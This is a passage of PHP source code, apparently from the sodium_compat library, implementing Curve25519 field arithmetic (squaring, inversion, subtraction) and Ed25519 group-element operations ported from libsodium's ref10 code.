    public static function fe_sq(ParagonIE_Sodium_Core_Curve25519_Fe $f)
    {
        $f = self::fe_normalize($f);
        $f0 = (int) $f->e0;
        $f1 = (int) $f->e1;
        $f2 = (int) $f->e2;
        $f3 = (int) $f->e3;
        $f4 = (int) $f->e4;
        $f5 = (int) $f->e5;
        $f6 = (int) $f->e6;
        $f7 = (int) $f->e7;
        $f8 = (int) $f->e8;
        $f9 = (int) $f->e9;

        $f0_2 = $f0 << 1;
        $f1_2 = $f1 << 1;
        $f2_2 = $f2 << 1;
        $f3_2 = $f3 << 1;
        $f4_2 = $f4 << 1;
        $f5_2 = $f5 << 1;
        $f6_2 = $f6 << 1;
        $f7_2 = $f7 << 1;
        $f5_38 = self::mul($f5, 38, 6);
        $f6_19 = self::mul($f6, 19, 5);
        $f7_38 = self::mul($f7, 38, 6);
        $f8_19 = self::mul($f8, 19, 5);
        $f9_38 = self::mul($f9, 38, 6);
        $f0f0    = self::mul($f0,    $f0,    26);
        $f0f1_2  = self::mul($f0_2,  $f1,    26);
        $f0f2_2  = self::mul($f0_2,  $f2,    26);
        $f0f3_2  = self::mul($f0_2,  $f3,    26);
        $f0f4_2  = self::mul($f0_2,  $f4,    26);
        $f0f5_2  = self::mul($f0_2,  $f5,    26);
        $f0f6_2  = self::mul($f0_2,  $f6,    26);
        $f0f7_2  = self::mul($f0_2,  $f7,    26);
        $f0f8_2  = self::mul($f0_2,  $f8,    26);
        $f0f9_2  = self::mul($f0_2,  $f9,    26);
        $f1f1_2  = self::mul($f1_2,  $f1,    26);
        $f1f2_2  = self::mul($f1_2,  $f2,    26);
        $f1f3_4  = self::mul($f1_2,  $f3_2,  26);
        $f1f4_2  = self::mul($f1_2,  $f4,    26);
        $f1f5_4  = self::mul($f1_2,  $f5_2,  26);
        $f1f6_2  = self::mul($f1_2,  $f6,    26);
        $f1f7_4  = self::mul($f1_2,  $f7_2,  26);
        $f1f8_2  = self::mul($f1_2,  $f8,    26);
        $f1f9_76 = self::mul($f9_38, $f1_2,  27);
        $f2f2    = self::mul($f2,    $f2,    27);
        $f2f3_2  = self::mul($f2_2,  $f3,    27);
        $f2f4_2  = self::mul($f2_2,  $f4,    27);
        $f2f5_2  = self::mul($f2_2,  $f5,    27);
        $f2f6_2  = self::mul($f2_2,  $f6,    27);
        $f2f7_2  = self::mul($f2_2,  $f7,    27);
        $f2f8_38 = self::mul($f8_19, $f2_2,  27);
        $f2f9_38 = self::mul($f9_38, $f2,    26);
        $f3f3_2  = self::mul($f3_2,  $f3,    26);
        $f3f4_2  = self::mul($f3_2,  $f4,    26);
        $f3f5_4  = self::mul($f3_2,  $f5_2,  26);
        $f3f6_2  = self::mul($f3_2,  $f6,    26);
        $f3f7_76 = self::mul($f7_38, $f3_2,  26);
        $f3f8_38 = self::mul($f8_19, $f3_2,  26);
        $f3f9_76 = self::mul($f9_38, $f3_2,  26);
        $f4f4    = self::mul($f4,    $f4,    26);
        $f4f5_2  = self::mul($f4_2,  $f5,    26);
        $f4f6_38 = self::mul($f6_19, $f4_2,  27);
        $f4f7_38 = self::mul($f7_38, $f4,    26);
        $f4f8_38 = self::mul($f8_19, $f4_2,  27);
        $f4f9_38 = self::mul($f9_38, $f4,    26);
        $f5f5_38 = self::mul($f5_38, $f5,    26);
        $f5f6_38 = self::mul($f6_19, $f5_2,  26);
        $f5f7_76 = self::mul($f7_38, $f5_2,  26);
        $f5f8_38 = self::mul($f8_19, $f5_2,  26);
        $f5f9_76 = self::mul($f9_38, $f5_2,  26);
        $f6f6_19 = self::mul($f6_19, $f6,    26);
        $f6f7_38 = self::mul($f7_38, $f6,    26);
        $f6f8_38 = self::mul($f8_19, $f6_2,  27);
        $f6f9_38 = self::mul($f9_38, $f6,    26);
        $f7f7_38 = self::mul($f7_38, $f7,    26);
        $f7f8_38 = self::mul($f8_19, $f7_2,  26);
        $f7f9_76 = self::mul($f9_38, $f7_2,  26);
        $f8f8_19 = self::mul($f8_19, $f8,    26);
        $f8f9_38 = self::mul($f9_38, $f8,    26);
        $f9f9_38 = self::mul($f9_38, $f9,    26);
        $h0 = $f0f0   + $f1f9_76 + $f2f8_38 + $f3f7_76 + $f4f6_38 + $f5f5_38;
        $h1 = $f0f1_2 + $f2f9_38 + $f3f8_38 + $f4f7_38 + $f5f6_38;
        $h2 = $f0f2_2 + $f1f1_2  + $f3f9_76 + $f4f8_38 + $f5f7_76 + $f6f6_19;
        $h3 = $f0f3_2 + $f1f2_2  + $f4f9_38 + $f5f8_38 + $f6f7_38;
        $h4 = $f0f4_2 + $f1f3_4  + $f2f2    + $f5f9_76 + $f6f8_38 + $f7f7_38;
        $h5 = $f0f5_2 + $f1f4_2  + $f2f3_2  + $f6f9_38 + $f7f8_38;
        $h6 = $f0f6_2 + $f1f5_4  + $f2f4_2  + $f3f3_2  + $f7f9_76 + $f8f8_19;
        $h7 = $f0f7_2 + $f1f6_2  + $f2f5_2  + $f3f4_2  + $f8f9_38;
        $h8 = $f0f8_2 + $f1f7_4  + $f2f6_2  + $f3f5_4  + $f4f4    + $f9f9_38;
        $h9 = $f0f9_2 + $f1f8_2  + $f2f7_2  + $f3f6_2  + $f4f5_2;

        $carry0 = ($h0 + (1 << 25)) >> 26;
        $h1 += $carry0;
        $h0 -= $carry0 << 26;
        $carry4 = ($h4 + (1 << 25)) >> 26;
        $h5 += $carry4;
        $h4 -= $carry4 << 26;

        $carry1 = ($h1 + (1 << 24)) >> 25;
        $h2 += $carry1;
        $h1 -= $carry1 << 25;
        $carry5 = ($h5 + (1 << 24)) >> 25;
        $h6 += $carry5;
        $h5 -= $carry5 << 25;

        $carry2 = ($h2 + (1 << 25)) >> 26;
        $h3 += $carry2;
        $h2 -= $carry2 << 26;
        $carry6 = ($h6 + (1 << 25)) >> 26;
        $h7 += $carry6;
        $h6 -= $carry6 << 26;

        $carry3 = ($h3 + (1 << 24)) >> 25;
        $h4 += $carry3;
        $h3 -= $carry3 << 25;
        $carry7 = ($h7 + (1 << 24)) >> 25;
        $h8 += $carry7;
        $h7 -= $carry7 << 25;

        $carry4 = ($h4 + (1 << 25)) >> 26;
        $h5 += $carry4;
        $h4 -= $carry4 << 26;
        $carry8 = ($h8 + (1 << 25)) >> 26;
        $h9 += $carry8;
        $h8 -= $carry8 << 26;

        $carry9 = ($h9 + (1 << 24)) >> 25;
        $h0 += self::mul($carry9, 19, 5);
        $h9 -= $carry9 << 25;

        $carry0 = ($h0 + (1 << 25)) >> 26;
        $h1 += $carry0;
        $h0 -= $carry0 << 26;

        return self::fe_normalize(
            new ParagonIE_Sodium_Core_Curve25519_Fe(
                (int) $h0,
                (int) $h1,
                (int) $h2,
                (int) $h3,
                (int) $h4,
                (int) $h5,
                (int) $h6,
                (int) $h7,
                (int) $h8,
                (int) $h9
            )
        );
    }


    /**
     * Square and double a field element
     *
     * h = 2 * f * f
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $f
     * @return ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public static function fe_sq2(ParagonIE_Sodium_Core_Curve25519_Fe $f)
    {
        $f = self::fe_normalize($f);
        $f0 = (int) $f->e0;
        $f1 = (int) $f->e1;
        $f2 = (int) $f->e2;
        $f3 = (int) $f->e3;
        $f4 = (int) $f->e4;
        $f5 = (int) $f->e5;
        $f6 = (int) $f->e6;
        $f7 = (int) $f->e7;
        $f8 = (int) $f->e8;
        $f9 = (int) $f->e9;

        $f0_2 = $f0 << 1;
        $f1_2 = $f1 << 1;
        $f2_2 = $f2 << 1;
        $f3_2 = $f3 << 1;
        $f4_2 = $f4 << 1;
        $f5_2 = $f5 << 1;
        $f6_2 = $f6 << 1;
        $f7_2 = $f7 << 1;
        $f5_38 = self::mul($f5, 38, 6); /* 1.959375*2^30 */
        $f6_19 = self::mul($f6, 19, 5); /* 1.959375*2^30 */
        $f7_38 = self::mul($f7, 38, 6); /* 1.959375*2^30 */
        $f8_19 = self::mul($f8, 19, 5); /* 1.959375*2^30 */
        $f9_38 = self::mul($f9, 38, 6); /* 1.959375*2^30 */
        $f0f0 = self::mul($f0, $f0, 24);
        $f0f1_2 = self::mul($f0_2, $f1, 24);
        $f0f2_2 = self::mul($f0_2, $f2, 24);
        $f0f3_2 = self::mul($f0_2, $f3, 24);
        $f0f4_2 = self::mul($f0_2, $f4, 24);
        $f0f5_2 = self::mul($f0_2, $f5, 24);
        $f0f6_2 = self::mul($f0_2, $f6, 24);
        $f0f7_2 = self::mul($f0_2, $f7, 24);
        $f0f8_2 = self::mul($f0_2, $f8, 24);
        $f0f9_2 = self::mul($f0_2, $f9, 24);
        $f1f1_2 = self::mul($f1_2,  $f1, 24);
        $f1f2_2 = self::mul($f1_2,  $f2, 24);
        $f1f3_4 = self::mul($f1_2,  $f3_2, 24);
        $f1f4_2 = self::mul($f1_2,  $f4, 24);
        $f1f5_4 = self::mul($f1_2,  $f5_2, 24);
        $f1f6_2 = self::mul($f1_2,  $f6, 24);
        $f1f7_4 = self::mul($f1_2,  $f7_2, 24);
        $f1f8_2 = self::mul($f1_2,  $f8, 24);
        $f1f9_76 = self::mul($f9_38, $f1_2, 24);
        $f2f2 = self::mul($f2,  $f2, 24);
        $f2f3_2 = self::mul($f2_2,  $f3, 24);
        $f2f4_2 = self::mul($f2_2,  $f4, 24);
        $f2f5_2 = self::mul($f2_2,  $f5, 24);
        $f2f6_2 = self::mul($f2_2,  $f6, 24);
        $f2f7_2 = self::mul($f2_2,  $f7, 24);
        $f2f8_38 = self::mul($f8_19, $f2_2, 25);
        $f2f9_38 = self::mul($f9_38, $f2, 24);
        $f3f3_2 = self::mul($f3_2,  $f3, 24);
        $f3f4_2 = self::mul($f3_2,  $f4, 24);
        $f3f5_4 = self::mul($f3_2,  $f5_2, 24);
        $f3f6_2 = self::mul($f3_2,  $f6, 24);
        $f3f7_76 = self::mul($f7_38, $f3_2, 24);
        $f3f8_38 = self::mul($f8_19, $f3_2, 24);
        $f3f9_76 = self::mul($f9_38, $f3_2, 24);
        $f4f4 = self::mul($f4,  $f4, 24);
        $f4f5_2 = self::mul($f4_2,  $f5, 24);
        $f4f6_38 = self::mul($f6_19, $f4_2, 25);
        $f4f7_38 = self::mul($f7_38, $f4, 24);
        $f4f8_38 = self::mul($f8_19, $f4_2, 25);
        $f4f9_38 = self::mul($f9_38, $f4, 24);
        $f5f5_38 = self::mul($f5_38, $f5, 24);
        $f5f6_38 = self::mul($f6_19, $f5_2, 24);
        $f5f7_76 = self::mul($f7_38, $f5_2, 24);
        $f5f8_38 = self::mul($f8_19, $f5_2, 24);
        $f5f9_76 = self::mul($f9_38, $f5_2, 24);
        $f6f6_19 = self::mul($f6_19, $f6, 24);
        $f6f7_38 = self::mul($f7_38, $f6, 24);
        $f6f8_38 = self::mul($f8_19, $f6_2, 25);
        $f6f9_38 = self::mul($f9_38, $f6, 24);
        $f7f7_38 = self::mul($f7_38, $f7, 24);
        $f7f8_38 = self::mul($f8_19, $f7_2, 24);
        $f7f9_76 = self::mul($f9_38, $f7_2, 24);
        $f8f8_19 = self::mul($f8_19, $f8, 24);
        $f8f9_38 = self::mul($f9_38, $f8, 24);
        $f9f9_38 = self::mul($f9_38, $f9, 24);

        $h0 = (int) ($f0f0 + $f1f9_76 + $f2f8_38 + $f3f7_76 + $f4f6_38 + $f5f5_38) << 1;
        $h1 = (int) ($f0f1_2 + $f2f9_38 + $f3f8_38 + $f4f7_38 + $f5f6_38) << 1;
        $h2 = (int) ($f0f2_2 + $f1f1_2  + $f3f9_76 + $f4f8_38 + $f5f7_76 + $f6f6_19) << 1;
        $h3 = (int) ($f0f3_2 + $f1f2_2  + $f4f9_38 + $f5f8_38 + $f6f7_38) << 1;
        $h4 = (int) ($f0f4_2 + $f1f3_4  + $f2f2    + $f5f9_76 + $f6f8_38 + $f7f7_38) << 1;
        $h5 = (int) ($f0f5_2 + $f1f4_2  + $f2f3_2  + $f6f9_38 + $f7f8_38) << 1;
        $h6 = (int) ($f0f6_2 + $f1f5_4  + $f2f4_2  + $f3f3_2  + $f7f9_76 + $f8f8_19) << 1;
        $h7 = (int) ($f0f7_2 + $f1f6_2  + $f2f5_2  + $f3f4_2  + $f8f9_38) << 1;
        $h8 = (int) ($f0f8_2 + $f1f7_4  + $f2f6_2  + $f3f5_4  + $f4f4    + $f9f9_38) << 1;
        $h9 = (int) ($f0f9_2 + $f1f8_2  + $f2f7_2  + $f3f6_2  + $f4f5_2) << 1;

        $carry0 = ($h0 + (1 << 25)) >> 26;
        $h1 += $carry0;
        $h0 -= $carry0 << 26;
        $carry4 = ($h4 + (1 << 25)) >> 26;
        $h5 += $carry4;
        $h4 -= $carry4 << 26;

        $carry1 = ($h1 + (1 << 24)) >> 25;
        $h2 += $carry1;
        $h1 -= $carry1 << 25;
        $carry5 = ($h5 + (1 << 24)) >> 25;
        $h6 += $carry5;
        $h5 -= $carry5 << 25;

        $carry2 = ($h2 + (1 << 25)) >> 26;
        $h3 += $carry2;
        $h2 -= $carry2 << 26;
        $carry6 = ($h6 + (1 << 25)) >> 26;
        $h7 += $carry6;
        $h6 -= $carry6 << 26;

        $carry3 = ($h3 + (1 << 24)) >> 25;
        $h4 += $carry3;
        $h3 -= $carry3 << 25;
        $carry7 = ($h7 + (1 << 24)) >> 25;
        $h8 += $carry7;
        $h7 -= $carry7 << 25;

        $carry4 = ($h4 + (1 << 25)) >> 26;
        $h5 += $carry4;
        $h4 -= $carry4 << 26;
        $carry8 = ($h8 + (1 << 25)) >> 26;
        $h9 += $carry8;
        $h8 -= $carry8 << 26;

        $carry9 = ($h9 + (1 << 24)) >> 25;
        $h0 += self::mul($carry9, 19, 5);
        $h9 -= $carry9 << 25;

        $carry0 = ($h0 + (1 << 25)) >> 26;
        $h1 += $carry0;
        $h0 -= $carry0 << 26;

        return self::fe_normalize(
            new ParagonIE_Sodium_Core_Curve25519_Fe(
                (int) $h0,
                (int) $h1,
                (int) $h2,
                (int) $h3,
                (int) $h4,
                (int) $h5,
                (int) $h6,
                (int) $h7,
                (int) $h8,
                (int) $h9
            )
        );
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $Z
     * @return ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public static function fe_invert(ParagonIE_Sodium_Core_Curve25519_Fe $Z)
    {
        $z = clone $Z;
        $t0 = self::fe_sq($z);
        $t1 = self::fe_sq($t0);
        $t1 = self::fe_sq($t1);
        $t1 = self::fe_mul($z, $t1);
        $t0 = self::fe_mul($t0, $t1);
        $t2 = self::fe_sq($t0);
        $t1 = self::fe_mul($t1, $t2);
        $t2 = self::fe_sq($t1);
        for ($i = 1; $i < 5; ++$i) {
            $t2 = self::fe_sq($t2);
        }
        $t1 = self::fe_mul($t2, $t1);
        $t2 = self::fe_sq($t1);
        for ($i = 1; $i < 10; ++$i) {
            $t2 = self::fe_sq($t2);
        }
        $t2 = self::fe_mul($t2, $t1);
        $t3 = self::fe_sq($t2);
        for ($i = 1; $i < 20; ++$i) {
            $t3 = self::fe_sq($t3);
        }
        $t2 = self::fe_mul($t3, $t2);
        $t2 = self::fe_sq($t2);
        for ($i = 1; $i < 10; ++$i) {
            $t2 = self::fe_sq($t2);
        }
        $t1 = self::fe_mul($t2, $t1);
        $t2 = self::fe_sq($t1);
        for ($i = 1; $i < 50; ++$i) {
            $t2 = self::fe_sq($t2);
        }
        $t2 = self::fe_mul($t2, $t1);
        $t3 = self::fe_sq($t2);
        for ($i = 1; $i < 100; ++$i) {
            $t3 = self::fe_sq($t3);
        }
        $t2 = self::fe_mul($t3, $t2);
        $t2 = self::fe_sq($t2);
        for ($i = 1; $i < 50; ++$i) {
            $t2 = self::fe_sq($t2);
        }
        $t1 = self::fe_mul($t2, $t1);
        $t1 = self::fe_sq($t1);
        for ($i = 1; $i < 5; ++$i) {
            $t1 = self::fe_sq($t1);
        }
        return self::fe_mul($t1, $t0);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @ref https://github.com/jedisct1/libsodium/blob/68564326e1e9dc57ef03746f85734232d20ca6fb/src/libsodium/crypto_core/curve25519/ref10/curve25519_ref10.c#L1054-L1106
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $z
     * @return ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public static function fe_pow22523(ParagonIE_Sodium_Core_Curve25519_Fe $z)
    {
        $z = self::fe_normalize($z);
        # fe_sq(t0, z);
        # fe_sq(t1, t0);
        # fe_sq(t1, t1);
        # fe_mul(t1, z, t1);
        # fe_mul(t0, t0, t1);
        # fe_sq(t0, t0);
        # fe_mul(t0, t1, t0);
        # fe_sq(t1, t0);
        $t0 = self::fe_sq($z);
        $t1 = self::fe_sq($t0);
        $t1 = self::fe_sq($t1);
        $t1 = self::fe_mul($z, $t1);
        $t0 = self::fe_mul($t0, $t1);
        $t0 = self::fe_sq($t0);
        $t0 = self::fe_mul($t1, $t0);
        $t1 = self::fe_sq($t0);

        # for (i = 1; i < 5; ++i) {
        #     fe_sq(t1, t1);
        # }
        for ($i = 1; $i < 5; ++$i) {
            $t1 = self::fe_sq($t1);
        }

        # fe_mul(t0, t1, t0);
        # fe_sq(t1, t0);
        $t0 = self::fe_mul($t1, $t0);
        $t1 = self::fe_sq($t0);

        # for (i = 1; i < 10; ++i) {
        #     fe_sq(t1, t1);
        # }
        for ($i = 1; $i < 10; ++$i) {
            $t1 = self::fe_sq($t1);
        }

        # fe_mul(t1, t1, t0);
        # fe_sq(t2, t1);
        $t1 = self::fe_mul($t1, $t0);
        $t2 = self::fe_sq($t1);

        # for (i = 1; i < 20; ++i) {
        #     fe_sq(t2, t2);
        # }
        for ($i = 1; $i < 20; ++$i) {
            $t2 = self::fe_sq($t2);
        }

        # fe_mul(t1, t2, t1);
        # fe_sq(t1, t1);
        $t1 = self::fe_mul($t2, $t1);
        $t1 = self::fe_sq($t1);

        # for (i = 1; i < 10; ++i) {
        #     fe_sq(t1, t1);
        # }
        for ($i = 1; $i < 10; ++$i) {
            $t1 = self::fe_sq($t1);
        }

        # fe_mul(t0, t1, t0);
        # fe_sq(t1, t0);
        $t0 = self::fe_mul($t1, $t0);
        $t1 = self::fe_sq($t0);

        # for (i = 1; i < 50; ++i) {
        #     fe_sq(t1, t1);
        # }
        for ($i = 1; $i < 50; ++$i) {
            $t1 = self::fe_sq($t1);
        }

        # fe_mul(t1, t1, t0);
        # fe_sq(t2, t1);
        $t1 = self::fe_mul($t1, $t0);
        $t2 = self::fe_sq($t1);

        # for (i = 1; i < 100; ++i) {
        #     fe_sq(t2, t2);
        # }
        for ($i = 1; $i < 100; ++$i) {
            $t2 = self::fe_sq($t2);
        }

        # fe_mul(t1, t2, t1);
        # fe_sq(t1, t1);
        $t1 = self::fe_mul($t2, $t1);
        $t1 = self::fe_sq($t1);

        # for (i = 1; i < 50; ++i) {
        #     fe_sq(t1, t1);
        # }
        for ($i = 1; $i < 50; ++$i) {
            $t1 = self::fe_sq($t1);
        }

        # fe_mul(t0, t1, t0);
        # fe_sq(t0, t0);
        # fe_sq(t0, t0);
        # fe_mul(out, t0, z);
        $t0 = self::fe_mul($t1, $t0);
        $t0 = self::fe_sq($t0);
        $t0 = self::fe_sq($t0);
        return self::fe_mul($t0, $z);
    }

    /**
     * Subtract two field elements.
     *
     * h = f - g
     *
     * Preconditions:
     * |f| bounded by 1.1*2^25,1.1*2^24,1.1*2^25,1.1*2^24,etc.
     * |g| bounded by 1.1*2^25,1.1*2^24,1.1*2^25,1.1*2^24,etc.
     *
     * Postconditions:
     * |h| bounded by 1.1*2^26,1.1*2^25,1.1*2^26,1.1*2^25,etc.
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $f
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $g
     * @return ParagonIE_Sodium_Core_Curve25519_Fe
     * @psalm-suppress MixedOperand
     */
    public static function fe_sub(ParagonIE_Sodium_Core_Curve25519_Fe $f, ParagonIE_Sodium_Core_Curve25519_Fe $g)
    {
        return self::fe_normalize(
            new ParagonIE_Sodium_Core_Curve25519_Fe(
                (int) ($f->e0 - $g->e0),
                (int) ($f->e1 - $g->e1),
                (int) ($f->e2 - $g->e2),
                (int) ($f->e3 - $g->e3),
                (int) ($f->e4 - $g->e4),
                (int) ($f->e5 - $g->e5),
                (int) ($f->e6 - $g->e6),
                (int) ($f->e7 - $g->e7),
                (int) ($f->e8 - $g->e8),
                (int) ($f->e9 - $g->e9)
            )
        );
    }

    /**
     * Add two group elements.
     *
     * r = p + q
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Ge_P3 $p
     * @param ParagonIE_Sodium_Core_Curve25519_Ge_Cached $q
     * @return ParagonIE_Sodium_Core_Curve25519_Ge_P1p1
     */
    public static function ge_add(
        ParagonIE_Sodium_Core_Curve25519_Ge_P3 $p,
        ParagonIE_Sodium_Core_Curve25519_Ge_Cached $q
    ) {
        $r = new ParagonIE_Sodium_Core_Curve25519_Ge_P1p1();
        $r->X = self::fe_add($p->Y, $p->X);
        $r->Y = self::fe_sub($p->Y, $p->X);
        $r->Z = self::fe_mul($r->X, $q->YplusX);
        $r->Y = self::fe_mul($r->Y, $q->YminusX);
        $r->T = self::fe_mul($q->T2d, $p->T);
        $r->X = self::fe_mul($p->Z, $q->Z);
        $t0   = self::fe_add($r->X, $r->X);
        $r->X = self::fe_sub($r->Z, $r->Y);
        $r->Y = self::fe_add($r->Z, $r->Y);
        $r->Z = self::fe_add($t0, $r->T);
        $r->T = self::fe_sub($t0, $r->T);
        return $r;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @ref https://github.com/jedisct1/libsodium/blob/157c4a80c13b117608aeae12178b2d38825f9f8f/src/libsodium/crypto_core/curve25519/ref10/curve25519_ref10.c#L1185-L1215
     * @param string $a
     * @return array<int, mixed>
     * @throws SodiumException
     * @throws TypeError
     */
    public static function slide($a)
    {
        if (self::strlen($a) < 256) {
            if (self::strlen($a) < 16) {
                $a = str_pad($a, 256, '0', STR_PAD_RIGHT);
            }
        }
        /** @var array<int, int> $r */
        $r = array();

        /** @var int $i */
        for ($i = 0; $i < 256; ++$i) {
            $r[$i] = (int) (
                1 & (
                    self::chrToInt($a[(int) ($i >> 3)])
                        >>
                    ($i & 7)
                )
            );
        }

        for ($i = 0;$i < 256;++$i) {
            if ($r[$i]) {
                for ($b = 1;$b <= 6 && $i + $b < 256;++$b) {
                    if ($r[$i + $b]) {
                        if ($r[$i] + ($r[$i + $b] << $b) <= 15) {
                            $r[$i] += $r[$i + $b] << $b;
                            $r[$i + $b] = 0;
                        } elseif ($r[$i] - ($r[$i + $b] << $b) >= -15) {
                            $r[$i] -= $r[$i + $b] << $b;
                            for ($k = $i + $b; $k < 256; ++$k) {
                                if (!$r[$k]) {
                                    $r[$k] = 1;
                                    break;
                                }
                                $r[$k] = 0;
                            }
                        } else {
                            break;
                        }
                    }
                }
            }
        }
        return $r;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $s
     * @return ParagonIE_Sodium_Core_Curve25519_Ge_P3
     * @throws SodiumException
     * @throws TypeError
     */
    public static function ge_frombytes_negate_vartime($s)
    {
        static $d = null;
        if (!$d) {
            $d = ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(self::$d);
        }

        # fe_frombytes(h->Y,s);
        # fe_1(h->Z);
        $h = new ParagonIE_Sodium_Core_Curve25519_Ge_P3(
            self::fe_0(),
            self::fe_frombytes($s),
            self::fe_1()
        );

        # fe_sq(u,h->Y);
        # fe_mul(v,u,d);
        # fe_sub(u,u,h->Z);       /* u = y^2-1 */
        # fe_add(v,v,h->Z);       /* v = dy^2+1 */
        $u = self::fe_sq($h->Y);
        /** @var ParagonIE_Sodium_Core_Curve25519_Fe $d */
        $v = self::fe_mul($u, $d);
        $u = self::fe_sub($u, $h->Z); /* u =  y^2 - 1 */
        $v = self::fe_add($v, $h->Z); /* v = dy^2 + 1 */

        # fe_sq(v3,v);
        # fe_mul(v3,v3,v);        /* v3 = v^3 */
        # fe_sq(h->X,v3);
        # fe_mul(h->X,h->X,v);
        # fe_mul(h->X,h->X,u);    /* x = uv^7 */
        $v3 = self::fe_sq($v);
        $v3 = self::fe_mul($v3, $v); /* v3 = v^3 */
        $h->X = self::fe_sq($v3);
        $h->X = self::fe_mul($h->X, $v);
        $h->X = self::fe_mul($h->X, $u); /* x = uv^7 */

        # fe_pow22523(h->X,h->X); /* x = (uv^7)^((q-5)/8) */
        # fe_mul(h->X,h->X,v3);
        # fe_mul(h->X,h->X,u);    /* x = uv^3(uv^7)^((q-5)/8) */
        $h->X = self::fe_pow22523($h->X); /* x = (uv^7)^((q-5)/8) */
        $h->X = self::fe_mul($h->X, $v3);
        $h->X = self::fe_mul($h->X, $u); /* x = uv^3(uv^7)^((q-5)/8) */

        # fe_sq(vxx,h->X);
        # fe_mul(vxx,vxx,v);
        # fe_sub(check,vxx,u);    /* vx^2-u */
        $vxx = self::fe_sq($h->X);
        $vxx = self::fe_mul($vxx, $v);
        $check = self::fe_sub($vxx, $u); /* vx^2 - u */

        # if (fe_isnonzero(check)) {
        #     fe_add(check,vxx,u);  /* vx^2+u */
        #     if (fe_isnonzero(check)) {
        #         return -1;
        #     }
        #     fe_mul(h->X,h->X,sqrtm1);
        # }
        if (self::fe_isnonzero($check)) {
            $check = self::fe_add($vxx, $u); /* vx^2 + u */
            if (self::fe_isnonzero($check)) {
                throw new RangeException('Internal check failed.');
            }
            $h->X = self::fe_mul(
                $h->X,
                ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(self::$sqrtm1)
            );
        }

        # if (fe_isnegative(h->X) == (s[31] >> 7)) {
        #     fe_neg(h->X,h->X);
        # }
        $i = self::chrToInt($s[31]);
        if (self::fe_isnegative($h->X) === ($i >> 7)) {
            $h->X = self::fe_neg($h->X);
        }

        # fe_mul(h->T,h->X,h->Y);
        $h->T = self::fe_mul($h->X, $h->Y);
        return $h;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Ge_P1p1 $R
     * @param ParagonIE_Sodium_Core_Curve25519_Ge_P3 $p
     * @param ParagonIE_Sodium_Core_Curve25519_Ge_Precomp $q
     * @return ParagonIE_Sodium_Core_Curve25519_Ge_P1p1
     */
    public static function ge_madd(
        ParagonIE_Sodium_Core_Curve25519_Ge_P1p1 $R,
        ParagonIE_Sodium_Core_Curve25519_Ge_P3 $p,
        ParagonIE_Sodium_Core_Curve25519_Ge_Precomp $q
    ) {
        $r = clone $R;
        $r->X = self::fe_add($p->Y, $p->X);
        $r->Y = self::fe_sub($p->Y, $p->X);
        $r->Z = self::fe_mul($r->X, $q->yplusx);
        $r->Y = self::fe_mul($r->Y, $q->yminusx);
        $r->T = self::fe_mul($q->xy2d, $p->T);
        $t0 = self::fe_add(clone $p->Z, clone $p->Z);
        $r->X = self::fe_sub($r->Z, $r->Y);
        $r->Y = self::fe_add($r->Z, $r->Y);
        $r->Z = self::fe_add($t0, $r->T);
        $r->T = self::fe_sub($t0, $r->T);

        return $r;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Ge_P1p1 $R
     * @param ParagonIE_Sodium_Core_Curve25519_Ge_P3 $p
     * @param ParagonIE_Sodium_Core_Curve25519_Ge_Precomp $q
     * @return ParagonIE_Sodium_Core_Curve25519_Ge_P1p1
     */
    public static function ge_msub(
        ParagonIE_Sodium_Core_Curve25519_Ge_P1p1 $R,
        ParagonIE_Sodium_Core_Curve25519_Ge_P3 $p,
        ParagonIE_Sodium_Core_Curve25519_Ge_Precomp $q
    ) {
        $r = clone $R;

        $r->X = self::fe_add($p->Y, $p->X);
        $r->Y = self::fe_sub($p->Y, $p->X);
        $r->Z = self::fe_mul($r->X, $q->yminusx);
        $r->Y = self::fe_mul($r->Y, $q->yplusx);
        $r->T = self::fe_mul($q->xy2d, $p->T);
        $t0 = self::fe_add($p->Z, $p->Z);
        $r->X = self::fe_sub($r->Z, $r->Y);
        $r->Y = self::fe_add($r->Z, $r->Y);
        $r->Z = self::fe_sub($t0, $r->T);
        $r->T = self::fe_add($t0, $r->T);

        return $r;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Ge_P1p1 $p
     * @return ParagonIE_Sodium_Core_Curve25519_Ge_P2
     */
    public static function ge_p1p1_to_p2(ParagonIE_Sodium_Core_Curve25519_Ge_P1p1 $p)
    {
        $r = new ParagonIE_Sodium_Core_Curve25519_Ge_P2();
        $r->X = self::fe_mul($p->X, $p->T);
        $r->Y = self::fe_mul($p->Y, $p->Z);
        $r->Z = self::fe_mul($p->Z, $p->T);
        return $r;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Ge_P1p1 $p
     * @return ParagonIE_Sodium_Core_Curve25519_Ge_P3
     */
    public static function ge_p1p1_to_p3(ParagonIE_Sodium_Core_Curve25519_Ge_P1p1 $p)
    {
        $r = new ParagonIE_Sodium_Core_Curve25519_Ge_P3();
        $r->X = self::fe_mul($p->X, $p->T);
        $r->Y = self::fe_mul($p->Y, $p->Z);
        $r->Z = self::fe_mul($p->Z, $p->T);
        $r->T = self::fe_mul($p->X, $p->Y);
        return $r;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @return ParagonIE_Sodium_Core_Curve25519_Ge_P2
     */
    public static function ge_p2_0()
    {
        return new ParagonIE_Sodium_Core_Curve25519_Ge_P2(
            self::fe_0(),
            self::fe_1(),
            self::fe_1()
        );
    }

    /**
     * @internal You should not use this directly from another application
     *
